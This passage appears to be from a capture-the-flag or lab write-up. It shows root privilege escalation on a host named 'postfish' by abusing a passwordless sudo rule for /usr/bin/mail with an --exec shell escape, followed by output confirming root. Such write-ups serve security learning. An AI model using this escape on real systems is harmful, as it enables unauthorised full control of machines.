sudo mail
The filter
account has sudo privileges to execute the /usr/bin/mail *
command as anyone without getting prompted for password.
filter@postfish:/var/spool/postfix$ sudo -u root /usr/bin/mail --exec='!/bin/sh'
#
# whoami
root
# hostname
postfish
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:9e:19:f2 brd ff:ff:ff:ff:ff:ff
inet 192.168.111.137/24 brd 192.168.111.255 scope global ens160
valid_lft forever preferred_lft forever
System level compromise